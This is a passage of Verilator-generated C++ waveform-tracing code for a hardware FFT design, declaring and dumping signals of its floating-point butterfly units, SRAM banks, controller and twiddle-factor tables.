vcdp->declBit (c+410,"v BFLY0 sub_o2r FPU op",-1);
vcdp->declBus (c+266,"v BFLY0 sub_o2r FPU a",-1,31,0);
vcdp->declBus (c+132,"v BFLY0 sub_o2r FPU b",-1,31,0);
vcdp->declBus (c+346,"v BFLY0 sub_o2r FPU z",-1,31,0);
vcdp->declBus (c+268,"v BFLY0 sub_o2r FPU abs_a",-1,31,0);
vcdp->declBus (c+269,"v BFLY0 sub_o2r FPU abs_b",-1,31,0);
vcdp->declBus (c+270,"v BFLY0 sub_o2r FPU zadd",-1,31,0);
vcdp->declBus (c+271,"v BFLY0 sub_o2r FPU zsub",-1,31,0);
vcdp->declBit (c+272,"v BFLY0 sub_o2r FPU apos",-1);
vcdp->declBit (c+273,"v BFLY0 sub_o2r FPU bpos",-1);
vcdp->declBus (c+347,"v BFLY0 sub_o2r FPU zraw",-1,31,0);
vcdp->declBus (c+268,"v BFLY0 sub_o2r FPU ADD a",-1,31,0);
vcdp->declBus (c+269,"v BFLY0 sub_o2r FPU ADD b",-1,31,0);
vcdp->declBus (c+270,"v BFLY0 sub_o2r FPU ADD z",-1,31,0);
vcdp->declBit (c+275,"v BFLY0 sub_o2r FPU ADD as",-1);
vcdp->declBit (c+276,"v BFLY0 sub_o2r FPU ADD bs",-1);
vcdp->declBus (c+277,"v BFLY0 sub_o2r FPU ADD ae",-1,7,0);
vcdp->declBus (c+278,"v BFLY0 sub_o2r FPU ADD be",-1,7,0);
vcdp->declQuad (c+279,"v BFLY0 sub_o2r FPU ADD am",-1,47,0);
vcdp->declQuad (c+281,"v BFLY0 sub_o2r FPU ADD bm",-1,47,0);
vcdp->declBus (c+283,"v BFLY0 sub_o2r FPU ADD ediff",-1,7,0);
vcdp->declBit (c+284,"v BFLY0 sub_o2r FPU ADD ignore_a",-1);
vcdp->declBit (c+285,"v BFLY0 sub_o2r FPU ADD ignore_b",-1);
vcdp->declQuad (c+286,"v BFLY0 sub_o2r FPU ADD am_adj",-1,47,0);
vcdp->declQuad (c+288,"v BFLY0 sub_o2r FPU ADD bm_adj",-1,47,0);
vcdp->declBus (c+290,"v BFLY0 sub_o2r FPU ADD ze",-1,7,0);
vcdp->declQuad (c+291,"v BFLY0 sub_o2r FPU ADD am_plus_bm",-1,47,0);
vcdp->declBus (c+293,"v BFLY0 sub_o2r FPU ADD zm",-1,24,0);
vcdp->declBus (c+294,"v BFLY0 sub_o2r FPU ADD zm_final",-1,22,0);
vcdp->declBus (c+295,"v BFLY0 sub_o2r FPU ADD ze_final",-1,7,0);
vcdp->declBus (c+268,"v BFLY0 sub_o2r FPU SUB a",-1,31,0);
vcdp->declBus (c+269,"v BFLY0 sub_o2r FPU SUB b",-1,31,0);
vcdp->declBus (c+271,"v BFLY0 sub_o2r FPU SUB z",-1,31,0);
vcdp->declBit (c+275,"v BFLY0 sub_o2r FPU SUB as",-1);
vcdp->declBit (c+276,"v BFLY0 sub_o2r FPU SUB bs",-1);
vcdp->declBus (c+277,"v BFLY0 sub_o2r FPU SUB ae",-1,7,0);
vcdp->declBus (c+278,"v BFLY0 sub_o2r FPU SUB be",-1,7,0);
vcdp->declQuad (c+279,"v BFLY0 sub_o2r FPU SUB am",-1,47,0);
vcdp->declQuad (c+281,"v BFLY0 sub_o2r FPU SUB bm",-1,47,0);
vcdp->declBus (c+283,"v BFLY0 sub_o2r FPU SUB ediff",-1,7,0);
vcdp->declBit (c+284,"v BFLY0 sub_o2r FPU SUB ignore_a",-1);
vcdp->declBit (c+285,"v BFLY0 sub_o2r FPU SUB ignore_b",-1);
vcdp->declQuad (c+296,"v BFLY0 sub_o2r FPU SUB am_adj",-1,47,0);
vcdp->declQuad (c+298,"v BFLY0 sub_o2r FPU SUB bm_adj",-1,47,0);
vcdp->declQuad (c+300,"v BFLY0 sub_o2r FPU SUB abs_am_minus_bm",-1,47,0);
vcdp->declBus (c+302,"v BFLY0 sub_o2r FPU SUB zm",-1,23,0);
vcdp->declBus (c+303,"v BFLY0 sub_o2r FPU SUB need_shift",-1,7,0);
vcdp->declBus (c+304,"v BFLY0 sub_o2r FPU SUB zm_final",-1,22,0);
vcdp->declBus (c+290,"v BFLY0 sub_o2r FPU SUB ze",-1,7,0);
vcdp->declBus (c+305,"v BFLY0 sub_o2r FPU SUB ze_final",-1,7,0);
vcdp->declBus (c+306,"v BFLY0 sub_o2i a",-1,31,0);
vcdp->declBus (c+135,"v BFLY0 sub_o2i b",-1,31,0);
vcdp->declBus (c+348,"v BFLY0 sub_o2i z",-1,31,0);
vcdp->declBit (c+410,"v BFLY0 sub_o2i FPU op",-1);
vcdp->declBus (c+306,"v BFLY0 sub_o2i FPU a",-1,31,0);
vcdp->declBus (c+135,"v BFLY0 sub_o2i FPU b",-1,31,0);
vcdp->declBus (c+348,"v BFLY0 sub_o2i FPU z",-1,31,0);
vcdp->declBus (c+308,"v BFLY0 sub_o2i FPU abs_a",-1,31,0);
vcdp->declBus (c+309,"v BFLY0 sub_o2i FPU abs_b",-1,31,0);
vcdp->declBus (c+310,"v BFLY0 sub_o2i FPU zadd",-1,31,0);
vcdp->declBus (c+311,"v BFLY0 sub_o2i FPU zsub",-1,31,0);
vcdp->declBit (c+312,"v BFLY0 sub_o2i FPU apos",-1);
vcdp->declBit (c+313,"v BFLY0 sub_o2i FPU bpos",-1);
vcdp->declBus (c+349,"v BFLY0 sub_o2i FPU zraw",-1,31,0);
vcdp->declBus (c+308,"v BFLY0 sub_o2i FPU ADD a",-1,31,0);
vcdp->declBus (c+309,"v BFLY0 sub_o2i FPU ADD b",-1,31,0);
vcdp->declBus (c+310,"v BFLY0 sub_o2i FPU ADD z",-1,31,0);
vcdp->declBit (c+315,"v BFLY0 sub_o2i FPU ADD as",-1);
vcdp->declBit (c+316,"v BFLY0 sub_o2i FPU ADD bs",-1);
vcdp->declBus (c+317,"v BFLY0 sub_o2i FPU ADD ae",-1,7,0);
vcdp->declBus (c+318,"v BFLY0 sub_o2i FPU ADD be",-1,7,0);
vcdp->declQuad (c+319,"v BFLY0 sub_o2i FPU ADD am",-1,47,0);
vcdp->declQuad (c+321,"v BFLY0 sub_o2i FPU ADD bm",-1,47,0);
vcdp->declBus (c+323,"v BFLY0 sub_o2i FPU ADD ediff",-1,7,0);
vcdp->declBit (c+324,"v BFLY0 sub_o2i FPU ADD ignore_a",-1);
vcdp->declBit (c+325,"v BFLY0 sub_o2i FPU ADD ignore_b",-1);
vcdp->declQuad (c+326,"v BFLY0 sub_o2i FPU ADD am_adj",-1,47,0);
vcdp->declQuad (c+328,"v BFLY0 sub_o2i FPU ADD bm_adj",-1,47,0);
vcdp->declBus (c+330,"v BFLY0 sub_o2i FPU ADD ze",-1,7,0);
vcdp->declQuad (c+331,"v BFLY0 sub_o2i FPU ADD am_plus_bm",-1,47,0);
vcdp->declBus (c+333,"v BFLY0 sub_o2i FPU ADD zm",-1,24,0);
vcdp->declBus (c+334,"v BFLY0 sub_o2i FPU ADD zm_final",-1,22,0);
vcdp->declBus (c+335,"v BFLY0 sub_o2i FPU ADD ze_final",-1,7,0);
vcdp->declBus (c+308,"v BFLY0 sub_o2i FPU SUB a",-1,31,0);
vcdp->declBus (c+309,"v BFLY0 sub_o2i FPU SUB b",-1,31,0);
vcdp->declBus (c+311,"v BFLY0 sub_o2i FPU SUB z",-1,31,0);
vcdp->declBit (c+315,"v BFLY0 sub_o2i FPU SUB as",-1);
vcdp->declBit (c+316,"v BFLY0 sub_o2i FPU SUB bs",-1);
vcdp->declBus (c+317,"v BFLY0 sub_o2i FPU SUB ae",-1,7,0);
vcdp->declBus (c+318,"v BFLY0 sub_o2i FPU SUB be",-1,7,0);
vcdp->declQuad (c+319,"v BFLY0 sub_o2i FPU SUB am",-1,47,0);
vcdp->declQuad (c+321,"v BFLY0 sub_o2i FPU SUB bm",-1,47,0);
vcdp->declBus (c+323,"v BFLY0 sub_o2i FPU SUB ediff",-1,7,0);
vcdp->declBit (c+324,"v BFLY0 sub_o2i FPU SUB ignore_a",-1);
vcdp->declBit (c+325,"v BFLY0 sub_o2i FPU SUB ignore_b",-1);
vcdp->declQuad (c+336,"v BFLY0 sub_o2i FPU SUB am_adj",-1,47,0);
vcdp->declQuad (c+338,"v BFLY0 sub_o2i FPU SUB bm_adj",-1,47,0);
vcdp->declQuad (c+340,"v BFLY0 sub_o2i FPU SUB abs_am_minus_bm",-1,47,0);
vcdp->declBus (c+342,"v BFLY0 sub_o2i FPU SUB zm",-1,23,0);
vcdp->declBus (c+343,"v BFLY0 sub_o2i FPU SUB need_shift",-1,7,0);
vcdp->declBus (c+344,"v BFLY0 sub_o2i FPU SUB zm_final",-1,22,0);
vcdp->declBus (c+330,"v BFLY0 sub_o2i FPU SUB ze",-1,7,0);
vcdp->declBus (c+345,"v BFLY0 sub_o2i FPU SUB ze_final",-1,7,0);
vcdp->declBit (c+398,"v fftram clk_i",-1);
vcdp->declBus (c+102,"v fftram BFLY0_op1_bnum_i",-1,1,0);
vcdp->declBus (c+85,"v fftram BFLY0_op2_bnum_i",-1,1,0);
vcdp->declBus (c+397,"v fftram BFLY0_op1_rnum_i",-1,0,0);
vcdp->declBus (c+394,"v fftram BFLY0_op2_rnum_i",-1,0,0);
vcdp->declQuad (c+123,"v fftram BFLY0_in1_data_o",-1,63,0);
vcdp->declQuad (c+125,"v fftram BFLY0_in2_data_o",-1,63,0);
vcdp->declQuad (c+127,"v fftram BFLY0_out1_data_i",-1,63,0);
vcdp->declQuad (c+129,"v fftram BFLY0_out2_data_i",-1,63,0);
vcdp->declBus (c+395,"v fftram suppress_wz_i",-1,3,0);
vcdp->declBit (c+350,"v fftram fft_started",-1);
vcdp->declBus (c+111,"v fftram SRAM000_ix",-1,0,0);
vcdp->declQuad (c+351,"v fftram SRAM000_rd_data",-1,63,0);
vcdp->declQuad (c+353,"v fftram SRAM000_wr_data",-1,63,0);
vcdp->declBit (c+355,"v fftram SRAM000_ez",-1);
vcdp->declBit (c+381,"v fftram SRAM000_wz",-1);
vcdp->declBus (c+112,"v fftram SRAM001_ix",-1,0,0);
vcdp->declQuad (c+356,"v fftram SRAM001_rd_data",-1,63,0);
vcdp->declQuad (c+358,"v fftram SRAM001_wr_data",-1,63,0);
vcdp->declBit (c+360,"v fftram SRAM001_ez",-1);
vcdp->declBit (c+382,"v fftram SRAM001_wz",-1);
vcdp->declBus (c+113,"v fftram SRAM002_ix",-1,0,0);
vcdp->declQuad (c+361,"v fftram SRAM002_rd_data",-1,63,0);
vcdp->declQuad (c+363,"v fftram SRAM002_wr_data",-1,63,0);
vcdp->declBit (c+365,"v fftram SRAM002_ez",-1);
vcdp->declBit (c+383,"v fftram SRAM002_wz",-1);
vcdp->declBus (c+114,"v fftram SRAM003_ix",-1,0,0);
vcdp->declQuad (c+366,"v fftram SRAM003_rd_data",-1,63,0);
vcdp->declQuad (c+368,"v fftram SRAM003_wr_data",-1,63,0);
vcdp->declBit (c+370,"v fftram SRAM003_ez",-1);
vcdp->declBit (c+384,"v fftram SRAM003_wz",-1);
vcdp->declBus (c+50,"v fftram cycle_num",-1,3,0);
vcdp->declBit (c+92,"v fftram bypass_time",-1);
vcdp->declBit (c+115,"v fftram SRAM000_active",-1);
vcdp->declBit (c+116,"v fftram SRAM001_active",-1);
vcdp->declBit (c+117,"v fftram SRAM002_active",-1);
vcdp->declBit (c+118,"v fftram SRAM003_active",-1);
{int i; for (i=0; i<4; i++) {
vcdp->declBit (c+51+i*1,"v fftram bypass_valid",(i+0));}}
{int i; for (i=0; i<4; i++) {
vcdp->declBus (c+55+i*1,"v fftram bypassed_rnum",(i+0),0,0);}}
{int i; for (i=0; i<4; i++) {
vcdp->declQuad (c+59+i*2,"v fftram bypassed_data",(i+0),63,0);}}
{int i; for (i=0; i<4; i++) {
vcdp->declQuad (c+371+i*2,"v fftram sram_or_buf",(i+0),63,0);}}
{int i; for (i=0; i<4; i++) {
vcdp->declBit (c+119+i*1,"v fftram BFLY0_op1_match",(i+0));}}
{int i; for (i=0; i<4; i++) {
vcdp->declBit (c+103+i*1,"v fftram BFLY0_op2_match",(i+0));}}
vcdp->declBit (c+398,"v fftram SRAM000 clk_i",-1);
vcdp->declBit (c+355,"v fftram SRAM000 ez_i",-1);
vcdp->declBit (c+381,"v fftram SRAM000 wz_i",-1);
vcdp->declBus (c+111,"v fftram SRAM000 addr_i",-1,0,0);
vcdp->declQuad (c+351,"v fftram SRAM000 rd_data_o",-1,63,0);
vcdp->declQuad (c+353,"v fftram SRAM000 wr_data_i",-1,63,0);
{int i; for (i=0; i<2; i++) {
vcdp->declQuad (c+67+i*2,"v fftram SRAM000 mem",(i+0),63,0);}}
vcdp->declBit (c+398,"v fftram SRAM001 clk_i",-1);
vcdp->declBit (c+360,"v fftram SRAM001 ez_i",-1);
vcdp->declBit (c+382,"v fftram SRAM001 wz_i",-1);
vcdp->declBus (c+112,"v fftram SRAM001 addr_i",-1,0,0);
vcdp->declQuad (c+356,"v fftram SRAM001 rd_data_o",-1,63,0);
vcdp->declQuad (c+358,"v fftram SRAM001 wr_data_i",-1,63,0);
{int i; for (i=0; i<2; i++) {
vcdp->declQuad (c+71+i*2,"v fftram SRAM001 mem",(i+0),63,0);}}
vcdp->declBit (c+398,"v fftram SRAM002 clk_i",-1);
vcdp->declBit (c+365,"v fftram SRAM002 ez_i",-1);
vcdp->declBit (c+383,"v fftram SRAM002 wz_i",-1);
vcdp->declBus (c+113,"v fftram SRAM002 addr_i",-1,0,0);
vcdp->declQuad (c+361,"v fftram SRAM002 rd_data_o",-1,63,0);
vcdp->declQuad (c+363,"v fftram SRAM002 wr_data_i",-1,63,0);
{int i; for (i=0; i<2; i++) {
vcdp->declQuad (c+75+i*2,"v fftram SRAM002 mem",(i+0),63,0);}}
vcdp->declBit (c+398,"v fftram SRAM003 clk_i",-1);
vcdp->declBit (c+370,"v fftram SRAM003 ez_i",-1);
vcdp->declBit (c+384,"v fftram SRAM003 wz_i",-1);
vcdp->declBus (c+114,"v fftram SRAM003 addr_i",-1,0,0);
vcdp->declQuad (c+366,"v fftram SRAM003 rd_data_o",-1,63,0);
vcdp->declQuad (c+368,"v fftram SRAM003 wr_data_i",-1,63,0);
{int i; for (i=0; i<2; i++) {
vcdp->declQuad (c+79+i*2,"v fftram SRAM003 mem",(i+0),63,0);}}
vcdp->declBit (c+398,"v fftctl clk_i",-1);
vcdp->declBit (c+110,"v fftctl rst_n_i",-1);
vcdp->declBit (c+49,"v fftctl start_i",-1);
vcdp->declBus (c+396,"v fftctl BFLY0_op1_ix_o",-1,2,0);
vcdp->declBus (c+386,"v fftctl BFLY0_op2_ix_o",-1,2,0);
vcdp->declBus (c+387,"v fftctl BFLY0_access_type_o",-1,2,0);
vcdp->declBus (c+388,"v fftctl fftctl_cycle_num_o",-1,4,0);
vcdp->declBit (c+108,"v fftctl busy_o",-1);
vcdp->declBit (c+398,"v fftctl fftclk_o",-1);
vcdp->declBus (c+395,"v fftctl suppress_wz_o",-1,3,0);
vcdp->declBus (c+389,"v fftctl bypass_read_o",-1,3,0);
{int i; for (i=0; i<4; i++) {
vcdp->declBit (c+93+i*1,"v fftctl bufnum_o",(i+0));}}
{int i; for (i=0; i<12; i++) {
vcdp->declBus (c+413+i*1,"v fftctl BFLY0_access_type",(i+0),2,0);}}
{int i; for (i=0; i<12; i++) {
vcdp->declBus (c+1+i*1,"v fftctl precomputed_suppress_wz",(i+0),0,3);}}
{int i; for (i=0; i<12; i++) {
vcdp->declBus (c+13+i*1,"v fftctl precomputed_bypass_read",(i+0),0,3);}}
// Tracing: v fftctl precomputed_bufnum // Ignored: Wide memory > --trace-max-array ents at genesis_verif//fftctl_unq1.v:162
vcdp->declBus (c+379,"v fftctl cycle_num",-1,4,0);
vcdp->declBus (c+380,"v fftctl out2_offset",-1,3,0);
vcdp->declBus (c+97,"v fftctl stageno",-1,2,0);
vcdp->declBit (c+107,"v fftctl STARTED",-1);
vcdp->declBit (c+109,"v fftctl LAST",-1);
vcdp->declBit (c+398,"v fftctl LCLK clock_in",-1);
vcdp->declBit (c+398,"v fftctl LCLK clock_out",-1);
vcdp->declBus (c+388,"v twiddle cycle_num_i",-1,4,0);
vcdp->declBus (c+83,"v twiddle BFLY0_twiddle_cos_o",-1,31,0);
vcdp->declBus (c+84,"v twiddle BFLY0_twiddle_sin_o",-1,31,0);
{int i; for (i=0; i<12; i++) {
vcdp->declBus (c+25+i*1,"v twiddle BFLY0_twiddle_mem_cos",(i+0),31,0);}}
{int i; for (i=0; i<12; i++) {
vcdp->declBus (c+37+i*1,"v twiddle BFLY0_twiddle_mem_sin",(i+0),31,0);}}
}
}
void Vtop_fft::traceFullThis__1(Vtop_fft__Syms* __restrict vlSymsp, VerilatedVcd* vcdp, uint32_t code) {
Vtop_fft* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
int c=code;
if (0 && vcdp && c) {} // Prevent unused
// Body
{
vcdp->fullBus (c+1,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[0]),4);
vcdp->fullBus (c+2,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[1]),4);
vcdp->fullBus (c+3,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[2]),4);
vcdp->fullBus (c+4,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[3]),4);
vcdp->fullBus (c+5,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[4]),4);
vcdp->fullBus (c+6,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[5]),4);
vcdp->fullBus (c+7,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[6]),4);
vcdp->fullBus (c+8,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[7]),4);
vcdp->fullBus (c+9,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[8]),4);
vcdp->fullBus (c+10,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[9]),4);
vcdp->fullBus (c+11,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[10]),4);
vcdp->fullBus (c+12,(vlTOPp->v__DOT__fftctl__DOT__precomputed_suppress_wz[11]),4);
vcdp->fullBus (c+13,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[0]),4);
vcdp->fullBus (c+14,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[1]),4);
vcdp->fullBus (c+15,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[2]),4);
vcdp->fullBus (c+16,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[3]),4);
vcdp->fullBus (c+17,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[4]),4);
vcdp->fullBus (c+18,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[5]),4);
vcdp->fullBus (c+19,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[6]),4);
vcdp->fullBus (c+20,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[7]),4);
vcdp->fullBus (c+21,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[8]),4);
vcdp->fullBus (c+22,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[9]),4);
vcdp->fullBus (c+23,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[10]),4);
vcdp->fullBus (c+24,(vlTOPp->v__DOT__fftctl__DOT__precomputed_bypass_read[11]),4);
vcdp->fullBus (c+25,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[0]),32);
vcdp->fullBus (c+26,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[1]),32);
vcdp->fullBus (c+27,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[2]),32);
vcdp->fullBus (c+28,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[3]),32);
vcdp->fullBus (c+29,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[4]),32);
vcdp->fullBus (c+30,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[5]),32);
vcdp->fullBus (c+31,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[6]),32);
vcdp->fullBus (c+32,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[7]),32);
vcdp->fullBus (c+33,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[8]),32);
vcdp->fullBus (c+34,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[9]),32);
vcdp->fullBus (c+35,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[10]),32);
vcdp->fullBus (c+36,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_cos[11]),32);
vcdp->fullBus (c+37,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[0]),32);
vcdp->fullBus (c+38,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[1]),32);
vcdp->fullBus (c+39,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[2]),32);
vcdp->fullBus (c+40,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[3]),32);
vcdp->fullBus (c+41,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[4]),32);
vcdp->fullBus (c+42,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[5]),32);
vcdp->fullBus (c+43,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[6]),32);
vcdp->fullBus (c+44,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[7]),32);
vcdp->fullBus (c+45,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[8]),32);
vcdp->fullBus (c+46,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[9]),32);
vcdp->fullBus (c+47,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[10]),32);
vcdp->fullBus (c+48,(vlTOPp->v__DOT__twiddle__DOT__BFLY0_twiddle_mem_sin[11]),32);
vcdp->fullBit (c+49,(vlTOPp->v__DOT__start));
vcdp->fullBus (c+50,(vlTOPp->v__DOT__fftram__DOT__cycle_num),4);
vcdp->fullBit (c+51,(vlTOPp->v__DOT__fftram__DOT__bypass_valid[0]));
vcdp->fullBit (c+52,(vlTOPp->v__DOT__fftram__DOT__bypass_valid[1]));
vcdp->fullBit (c+53,(vlTOPp->v__DOT__fftram__DOT__bypass_valid[2]));
vcdp->fullBit (c+54,(vlTOPp->v__DOT__fftram__DOT__bypass_valid[3]));
vcdp->fullBus (c+55,(vlTOPp->v__DOT__fftram__DOT__bypassed_rnum[0]),1);
vcdp->fullBus (c+56,(vlTOPp->v__DOT__fftram__DOT__bypassed_rnum[1]),1);
vcdp->fullBus (c+57,(vlTOPp->v__DOT__fftram__DOT__bypassed_rnum[2]),1);
vcdp->fullBus (c+58,(vlTOPp->v__DOT__fftram__DOT__bypassed_rnum[3]),1);
vcdp->fullQuad (c+59,(vlTOPp->v__DOT__fftram__DOT__bypassed_data[0]),64);
vcdp->fullQuad (c+61,(vlTOPp->v__DOT__fftram__DOT__bypassed_data[1]),64);
vcdp->fullQuad (c+63,(vlTOPp->v__DOT__fftram__DOT__bypassed_data[2]),64);
vcdp->fullQuad (c+65,(vlTOPp->v__DOT__fftram__DOT__bypassed_data[3]),64);
vcdp->fullQuad (c+67,(vlTOPp->v__DOT__fftram__DOT__SRAM000__DOT__mem[0]),64);
vcdp->fullQuad (c+69,(vlTOPp->v__DOT__fftram__DOT__SRAM000__DOT__mem[1]),64);
vcdp->fullQuad (c+71,(vlTOPp->v__DOT__fftram__DOT__SRAM001__DOT__mem[0]),64);
vcdp->fullQuad (c+73,(vlTOPp->v__DOT__fftram__DOT__SRAM001__DOT__mem[1]),64);
vcdp->fullQuad (c+75,(vlTOPp->v__DOT__fftram__DOT__SRAM002__DOT__mem[0]),64);
vcdp->fullQuad (c+77,(vlTOPp->v__DOT__fftram__DOT__SRAM002__DOT__mem[1]),64);
vcdp->fullQuad (c+79,(vlTOPp->v__DOT__fftram__DOT__SRAM003__DOT__mem[0]),64);
vcdp->fullQuad (c+81,(vlTOPp->v__DOT__fftram__DOT__SRAM003__DOT__mem[1]),64);
vcdp->fullQuad (c+86,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0_twiddle_cos))))),48);
vcdp->fullBus (c+88,((0xffU & (vlTOPp->v__DOT__BFLY0_twiddle_cos
>> 0x17U))),9);
vcdp->fullQuad (c+89,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0_twiddle_sin))))),48);
vcdp->fullBus (c+91,((0xffU & (vlTOPp->v__DOT__BFLY0_twiddle_sin
>> 0x17U))),9);
vcdp->fullBus (c+85,(vlTOPp->v__DOT__BFLY0_op2_bnum),2);
vcdp->fullBit (c+92,(vlTOPp->v__DOT__fftram__DOT__bypass_time));
vcdp->fullBit (c+93,(vlTOPp->v__DOT__fftctl__DOT__bufnum_o[0]));
vcdp->fullBit (c+94,(vlTOPp->v__DOT__fftctl__DOT__bufnum_o[1]));
vcdp->fullBit (c+95,(vlTOPp->v__DOT__fftctl__DOT__bufnum_o[2]));
vcdp->fullBit (c+96,(vlTOPp->v__DOT__fftctl__DOT__bufnum_o[3]));
vcdp->fullBus (c+97,(vlTOPp->v__DOT__fftctl__DOT__stageno),3);
vcdp->fullBus (c+83,(vlTOPp->v__DOT__BFLY0_twiddle_cos),32);
vcdp->fullBus (c+84,(vlTOPp->v__DOT__BFLY0_twiddle_sin),32);
vcdp->fullBit (c+98,((1U & ((vlTOPp->v__DOT__BFLY0_twiddle_cos
>> 0x1fU) ^ (IData)(
(vlTOPp->v__DOT__BFLY0_in2_data
>> 0x3fU))))));
vcdp->fullBit (c+99,((1U & ((vlTOPp->v__DOT__BFLY0_twiddle_sin
>> 0x1fU) ^ (IData)(
(vlTOPp->v__DOT__BFLY0_in2_data
>> 0x1fU))))));
vcdp->fullBit (c+100,((1U & ((vlTOPp->v__DOT__BFLY0_twiddle_sin
>> 0x1fU) ^ (IData)(
(vlTOPp->v__DOT__BFLY0_in2_data
>> 0x3fU))))));
vcdp->fullBit (c+101,((1U & ((vlTOPp->v__DOT__BFLY0_twiddle_cos
>> 0x1fU) ^ (IData)(
(vlTOPp->v__DOT__BFLY0_in2_data
>> 0x1fU))))));
vcdp->fullBus (c+102,(vlTOPp->v__DOT__BFLY0_op1_bnum),2);
vcdp->fullBit (c+103,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op2_match[0]));
vcdp->fullBit (c+104,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op2_match[1]));
vcdp->fullBit (c+105,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op2_match[2]));
vcdp->fullBit (c+106,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op2_match[3]));
vcdp->fullBit (c+107,(vlTOPp->v__DOT__fftctl__DOT__STARTED));
vcdp->fullBit (c+108,((1U & (~ (IData)(vlTOPp->v__DOT__fftctl__DOT__LAST)))));
vcdp->fullBit (c+109,(vlTOPp->v__DOT__fftctl__DOT__LAST));
vcdp->fullBit (c+110,(vlTOPp->v__DOT__rst_n));
vcdp->fullBus (c+111,(vlTOPp->v__DOT__fftram__DOT__SRAM000_ix),1);
vcdp->fullBus (c+112,(vlTOPp->v__DOT__fftram__DOT__SRAM001_ix),1);
vcdp->fullBus (c+113,(vlTOPp->v__DOT__fftram__DOT__SRAM002_ix),1);
vcdp->fullBus (c+114,(vlTOPp->v__DOT__fftram__DOT__SRAM003_ix),1);
vcdp->fullBit (c+115,(vlTOPp->v__DOT__fftram__DOT__SRAM000_active));
vcdp->fullBit (c+116,(vlTOPp->v__DOT__fftram__DOT__SRAM001_active));
vcdp->fullBit (c+117,(vlTOPp->v__DOT__fftram__DOT__SRAM002_active));
vcdp->fullBit (c+118,(vlTOPp->v__DOT__fftram__DOT__SRAM003_active));
vcdp->fullBit (c+119,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op1_match[0]));
vcdp->fullBit (c+120,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op1_match[1]));
vcdp->fullBit (c+121,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op1_match[2]));
vcdp->fullBit (c+122,(vlTOPp->v__DOT__fftram__DOT__BFLY0_op1_match[3]));
vcdp->fullBit (c+131,(vlTOPp->v__DOT____Vcellinp__BFLY0__ready));
vcdp->fullBus (c+140,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__zadd),32);
vcdp->fullBus (c+141,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__zsub),32);
vcdp->fullBit (c+142,((1U & (~ (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x1fU)))));
vcdp->fullBit (c+143,((1U & (~ (vlTOPp->v__DOT__BFLY0__DOT__t1b
>> 0x1fU)))));
vcdp->fullBus (c+144,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__zraw),32);
vcdp->fullBit (c+145,(0U));
vcdp->fullBit (c+146,(0U));
vcdp->fullBus (c+147,((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x17U))),8);
vcdp->fullBus (c+148,((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1b
